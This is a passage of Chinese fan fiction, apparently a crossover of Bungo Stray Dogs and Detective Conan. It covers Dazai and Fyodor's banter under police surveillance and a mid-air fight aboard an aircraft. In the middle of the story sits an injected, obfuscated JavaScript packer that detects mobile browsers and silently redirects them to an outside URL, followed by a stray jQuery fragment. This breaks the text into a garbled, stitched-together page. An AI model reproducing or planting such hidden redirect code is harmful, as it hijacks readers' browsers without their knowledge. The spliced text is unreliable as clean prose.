费奥多尔毫不在意他的失礼，笑眯眯的回应，“太宰君。”


    他把手边的点心推到他面前，“请用。”


    鸢眼青年看都不看就把点心推回去，嘴角挂着礼貌假笑，“太客气了，你自己吃吧！”


    “不，这是专门给你准备的。”费奥多尔坚持。


    “我不太喜欢加了毒药的点心，口感不好。”太宰治换了个角度驳斥，“你知道我平时的吃穿水平。”


    俄罗斯人看看他的衣服勉强接受这个理由，有些失望道：“那下次我换成不影响口感的毒药。”


    “那很好啊。”太宰治随口胡诌。


    两人抛下点心，这个话题算是过去了，接下来就是正题了。


    ……


    “他们两个到底在说什么？”警官听着耳麦那头传来乱七八糟毫无关联的数字字母眉头深深皱起。


    不是英语，也不是俄语，更不属于任何一种人类已知的语言，众人迷茫的听着，妄图从中分辨只言片语。


    “他们两个到底是怎么交流的？！”高薪请来的密码专家抓狂，“难道他们发现了窃听器故意演戏给我们看？”


    “呃……这个，不太可能……”知道情况的一人尴尬的摸了摸鼻子。


    让太宰治和费奥多尔专门演戏给他们看听上去仿佛天方夜谭，他们自觉没那么大脸，所以他们真的在交流。


    不了解情况的专家：“？？？”


    你们什么情况？


    “如果他们真的在交流，那这些就是他们的密语。”专家把两人的话调出来，按顺序排列。


    “你们知道把语言转变成数字字母有多难吗？计算量大到不可思议——”专家尽力张开双臂力求给其他人传达一个清晰的概念，“以人类的计算能力根本就是不可能的，除非他们两个是行走的超级计算机。”


    所有知情人：“…………”


    其实他们也这么以为。


    但是他们的不可能不等同于太宰治和费奥多尔的不可能，上司都知道这两个家伙不能用正常情况对待。


    “怎么办？”一个警员问。


    他们两个一定是现创了一种语言交流吧！


    视野开阔有一个好处，每每当你发现自己的存在对这个世界毫无用处的时候，就会知道你的感觉是对的，然后老老实实窝着别出来乱窜。


    人外有人天外有天，你把一个学科学到凌驾于绝大数人之上的时候才明白你的上限其实都够不上某些人的起点。总要承认天才的存在，有些人生下来就是要名留青史的，不论美名还是骂名。


    耳麦里，两人听不出具体含义的对话还在继续。


    “太宰君。”费奥多尔趴在桌子上，手尖一点一点敲击桌面，艳丽的眼瞳危险眯起，“你不觉得他们很烦吗？”


    “一直看着我们呢！”就像看动物园的猴子表演一样。


    “不许乱动。”太宰治正在吃波尔多提前给他准备好的果盘，闻言不爽的瞪他。


    太宰治不是可怜监视他们的官方——整个车厢包括驾驶员都是官方的人，敌众我寡，他不如可怜可怜自己——太宰治就是单纯觉得费奥多尔搞事肯定会牵扯到自己，他的水果还没吃完呢！


    恐怖分子不爽的撇撇嘴，乖乖放下伸向口袋的手，故意曲解太宰治的意思，“不愧是你，真是宠爱人类呢！”


    太宰治：“……你知不知道你现在这副模样很像抱怨无能丈夫的怨妇。”


    “你是我的丈夫？”费奥多尔挑眉。


    太宰治：“我要吐了……”


    费奥多尔笑弯了眼，“真是让人伤心啊！”


    “有伤害到你的小心脏吗？请让我高兴高兴。”


    “没有呢，还是那么爱你。”


    “谢谢，我也恨你。”


    两人哈哈大笑起来。


    监听的专家已然放弃，所有人木着脸听这两位罪名加一块能把整个东京送进去的高智商罪犯哈哈哈的笑起来。


    他们在笑什么？不知道。什么时候能抓捕？也不知道。他们在干什么？不……这个知，好吧，其实也不是很清楚。


    笑够了，费奥多尔伸手从太宰治保鲜盒里挑出一颗新鲜葡萄放入嘴里，水果的主人还把盒子开口处朝向费奥多尔，方便他拿取，太宰治甚至问：“还要吗？”


    “很好吃。”费奥多尔给予正向评价，“可以告诉我是那个品种吗？”


    太宰治说出品种，一串几百万日元。


    费奥多尔淡定点头，说：“资本主义的消费陷阱，价格与葡萄的味道并不匹配，您好像上当了。”


    “但是好吃啊！”太宰治吃了一口价值十多万的西瓜，“反正钱是从其他人身上拿来的。”


    “已经变成资本家的模样了呢！太宰君。”他有些丧气，“我还以为至少在这方面我们是站在一边的呢！”


    “第一，我们不是一边的，无论哪方面。”鸢眼青年晃晃叉子，“第二，话不要说的这么难听，明明你也不是好人，没有资格指责我。”


    年轻的港|黑先代首领皱皱鼻子，露出嫌弃的表情，“明明也坑害了很多可怜的资本家呢！”


    俄罗斯人不以为耻，“我是在替神宽恕他们的罪孽，他们的灵魂肮脏到就连地狱都不会容纳。”


    把自己比作神明，难道不比他更加自大吗？


    费奥多尔看懂他的眼神，坐直身体，忽略脸上压出的可笑红印——显露出一点难得的笨拙——摆出净化灵魂的专属笑容，“比起送他们去见上帝的我，擅自原谅人类的太宰君不是更加自大吗？”如果说费奥多尔擅自行使神明的权利，那么太宰治就是在取代神明。


    ——只有上位者才有资格说原谅。


    “你在曲解我的意思。”太宰治眼神流露出不赞同的视线。


    “那就算我在曲解你的意思吧。”费奥多尔大大方方认下这个罪名。


    明明就是在曲解。


    太宰不满的看他一眼，后者若无其事，回以一个微笑。


    费奥多尔单手撑起下巴，脸颊肉堆起一层肉嘟嘟的沟壑，“既然这样，我提个问题不过分吧？”


    “作为补偿你应该回答我一个问题……”


    太宰治：“你的鬼牌是谁！”


    费奥多尔：“请告诉我你的鬼牌吧！”


    *


    轰隆隆——


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737567|134378||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一千米高空中，一架鱼鹰旋翼机划过天空，摔碎云层，拖出一条长长的痕迹。


    锋利的犬齿用力开合，嘴里的薄荷糖被碾得粉碎，清凉的薄荷从舌尖一路蔓延到心肝脾肺肾，大脑愈发清晰，声音不带丝毫情绪，“初步计划已完成，现在等待BOSS下一个指令。”


    他的手腕带着可以监测心率的智能手环。


    “啊咧咧，不知道小丑可不可以知道你们的计划。”一颗戴夸张礼帽，画小丑妆的脑袋怼到廊酒面前，后者冷静的一巴掌扇过去，小丑脑袋消失了。


    “真是讨厌，你们难道不欢迎可以给所有人带来欢乐的小丑吗？”果戈里换了个地方露出上半身。


    他双手撑桌，新鲜水果和糕点摆在面前，把他整个人衬得仿佛供台上的祭品。


    会做噩梦的。


    拉菲踢出一脚时冷漠的想，被供奉的神明肯定会做噩梦的。


    真是太可怜了。


    果戈里的异能相当麻烦，你永远不知道他会在那里出现，比苍蝇还烦人。


    狭小的空间，果戈里的异能优势显露无疑。


    “我讨厌除了BOSS之外的所有异能者。”廊酒冷冰冰的说。


    “附议。”


    “我也讨厌除了费佳之外的所有异能者。”下一秒，果戈里的声音在廊酒耳边响起，他的一只手扼住廊酒脆弱的咽喉，指腹在喉结处轻轻摩挲，威胁意味不言而喻。


    廊酒波澜不惊，声音与果戈里同时响起，“德安，动手！”


    咚！


    一声极其细微的动静，耳朵敏锐捕捉到声音。


    角落有人？！


    果戈里猛地回头，森冷的寒光已贴近他的心脏，只差一点就能刺穿他的心脏。


    德安是最出色的刺客。


    黑市悬赏，他的价格曾有一段时间远超琴酒，但是很快就过去了，因为没人能杀掉他，不过是白费功夫罢了。


    果戈里一扬披风，德安眼皮也不眨一下，刀刃刺穿披风，布帛撕裂声响起。


    血花在肩头绽放，几滴红色溅到眼角，顺着脸颊弧度留下，宛若一滴滴血泪。


    在场所有人都不是吃素的，没人尖叫，也没人退缩。


    拉菲单手拉开舱门，一脚把人踹出去，并附上一句，“要打出去打。”


    这里距离地面足足一千米！


    风在咆哮，不停怕打他们的脸，两人摔进厚厚的云层。


    小丑胸膛发出破碎的闷笑声，笑声越来越大，寒风穿过他腐朽破烂的心脏，声音穿到德安耳里变得无比尖锐刺耳。


    德安死死钳制果戈里的脖子，他握着果戈里的命，果戈里掌控他们两人的命。


    “你要死了。”小丑大笑着，凑在德安耳边大声说话，“你的同伴害死了呢！”


    德安却说：“你可以试试你的异能发作快还是我的速度更快。”


    两个截然不同的人眼里闪烁着相似的疯狂之色。


    “没问题吗？就这样把他踹出去？”廊酒揉开脖子处的淤青。


    “别担心。”拉菲坐在驾驶位。


    “德安那家伙，可是我们中最疯狂的那个。”